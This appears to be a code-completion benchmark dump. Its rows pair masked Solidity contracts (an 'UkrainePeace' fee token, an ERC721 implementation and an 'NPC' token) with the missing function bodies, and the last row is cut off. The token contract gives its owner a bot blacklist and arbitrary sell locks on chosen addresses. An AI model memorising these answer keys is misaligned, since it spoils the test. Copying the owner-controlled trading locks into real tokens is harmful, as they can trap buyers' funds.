source_idx
int64
0
94.3k
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
0
324k
signature_only
stringlengths
10
2.47k
signature_extend
stringlengths
11
28.1k
83,368
UkrainePeace
setSwapTokensAt
contract UkrainePeace is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public _isExcludedFromSellLock; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => uint) public sellLock; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _reflectionFee = 0; uint256 public _tokensFee = 10; uint256 public _tokensFeeFirst12h = 20; uint256 private _swapTokensAt; uint256 private _maxTokensToSwapForFees; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "UkrainePeace"; string private constant _symbol = "$UPEACE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; uint private tradingOpenTime; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxWalletAmount = _tTotal; event MaxWalletAmountUpdated(uint _maxWalletAmount); constructor () { _feeAddrWallet1 = payable(0xC66A4Fb0871fFEFF1F91b2A2a27bAB63Ff561dBB); _feeAddrWallet2 = payable(0xa01a7675465F64265F02Ce00A1A121eD5336EaaD); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromSellLock[owner()] = true; _isExcludedFromSellLock[address(this)] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setSwapTokensAt(uint256 amount) external onlyOwner() {<FILL_FUNCTION_BODY> } function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() { _maxTokensToSwapForFees = amount; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function excludeFromSellLock(address user) external onlyOwner() { _isExcludedFromSellLock[user] = true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(balanceOf(to) + amount <= _maxWalletAmount); // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); if(!_isExcludedFromSellLock[to] && sellLock[to] == 0) { uint elapsed = block.timestamp - tradingOpenTime; if(elapsed < 30) { uint256 sellLockDuration = (30 - elapsed) * 240; sellLock[to] = block.timestamp + sellLockDuration; } } } else if(!_isExcludedFromSellLock[from]) { require(sellLock[from] < block.timestamp, "You bought so early! Please wait a bit to sell or transfer."); } uint256 swapAmount = balanceOf(address(this)); if(swapAmount > _maxTokensToSwapForFees) { swapAmount = _maxTokensToSwapForFees; } if (swapAmount >= _swapTokensAt && !inSwap && from != uniswapV2Pair && swapEnabled) { inSwap = true; swapTokensForEth(swapAmount); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(contractETHBalance); } inSwap = false; } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading(address[] memory lockSells, uint duration) external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromSellLock[address(uniswapV2Router)] = true; _isExcludedFromSellLock[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxWalletAmount = 25e9 * 10**9; tradingOpen = true; tradingOpenTime = block.timestamp; _swapTokensAt = 1e9 * 10**9; _maxTokensToSwapForFees = 4e9 * 10**9; for (uint i = 0; i < lockSells.length; i++) { sellLock[lockSells[i]] = tradingOpenTime + duration; } IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictWalletLimit() public onlyOwner { _maxWalletAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _getTokenFee(address recipient) private view returns (uint256) { if(!tradingOpen || inSwap) { return 0; } if( block.timestamp < tradingOpenTime + 43200 && recipient == uniswapV2Pair) { return _tokensFeeFirst12h; } return _tokensFee; } function _getReflectionFee() private view returns (uint256) { return tradingOpen && !inSwap ? _reflectionFee : 0; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, _getTokenFee(recipient)); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualswapsend() external { require(_msgSender() == _feeAddrWallet1); manualswap(); manualsend(); } function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _getReflectionFee(), tokenFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract UkrainePeace is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public _isExcludedFromSellLock; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => uint) public sellLock; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _reflectionFee = 0; uint256 public _tokensFee = 10; uint256 public _tokensFeeFirst12h = 20; uint256 private _swapTokensAt; uint256 private _maxTokensToSwapForFees; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "UkrainePeace"; string private constant _symbol = "$UPEACE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; uint private tradingOpenTime; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxWalletAmount = _tTotal; event MaxWalletAmountUpdated(uint _maxWalletAmount); constructor () { _feeAddrWallet1 = payable(0xC66A4Fb0871fFEFF1F91b2A2a27bAB63Ff561dBB); _feeAddrWallet2 = payable(0xa01a7675465F64265F02Ce00A1A121eD5336EaaD); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromSellLock[owner()] = true; _isExcludedFromSellLock[address(this)] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } <FILL_FUNCTION> function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() { _maxTokensToSwapForFees = amount; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function excludeFromSellLock(address user) external onlyOwner() { _isExcludedFromSellLock[user] = true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(balanceOf(to) + amount <= _maxWalletAmount); // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); if(!_isExcludedFromSellLock[to] && sellLock[to] == 0) { uint elapsed = block.timestamp - tradingOpenTime; if(elapsed < 30) { uint256 sellLockDuration = (30 - elapsed) * 240; sellLock[to] = block.timestamp + sellLockDuration; } } } else if(!_isExcludedFromSellLock[from]) { require(sellLock[from] < block.timestamp, "You bought so early! Please wait a bit to sell or transfer."); } uint256 swapAmount = balanceOf(address(this)); if(swapAmount > _maxTokensToSwapForFees) { swapAmount = _maxTokensToSwapForFees; } if (swapAmount >= _swapTokensAt && !inSwap && from != uniswapV2Pair && swapEnabled) { inSwap = true; swapTokensForEth(swapAmount); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(contractETHBalance); } inSwap = false; } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading(address[] memory lockSells, uint duration) external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromSellLock[address(uniswapV2Router)] = true; _isExcludedFromSellLock[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxWalletAmount = 25e9 * 10**9; tradingOpen = true; tradingOpenTime = block.timestamp; _swapTokensAt = 1e9 * 10**9; _maxTokensToSwapForFees = 4e9 * 10**9; for (uint i = 0; i < lockSells.length; i++) { sellLock[lockSells[i]] = tradingOpenTime + duration; } IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictWalletLimit() public onlyOwner { _maxWalletAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _getTokenFee(address recipient) private view returns (uint256) { if(!tradingOpen || inSwap) { return 0; } if( block.timestamp < tradingOpenTime + 43200 && recipient == uniswapV2Pair) { return _tokensFeeFirst12h; } return _tokensFee; } function _getReflectionFee() private view returns (uint256) { return tradingOpen && !inSwap ? _reflectionFee : 0; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, _getTokenFee(recipient)); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualswapsend() external { require(_msgSender() == _feeAddrWallet1); manualswap(); manualsend(); } function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _getReflectionFee(), tokenFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_swapTokensAt = amount;
function setSwapTokensAt(uint256 amount) external onlyOwner()
function setSwapTokensAt(uint256 amount) external onlyOwner()
63,559
ERC721
_transfer
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual {<FILL_FUNCTION_BODY> } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } <FILL_FUNCTION> function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId);
function _transfer( address from, address to, uint256 tokenId ) internal virtual
function _transfer( address from, address to, uint256 tokenId ) internal virtual
16,400
NPC
NPC
contract NPC is SafeMath{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function NPC( ) {<FILL_FUNCTION_BODY> } /* Send coins */ function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { if (_value <= 0) throw; allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) throw; if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, 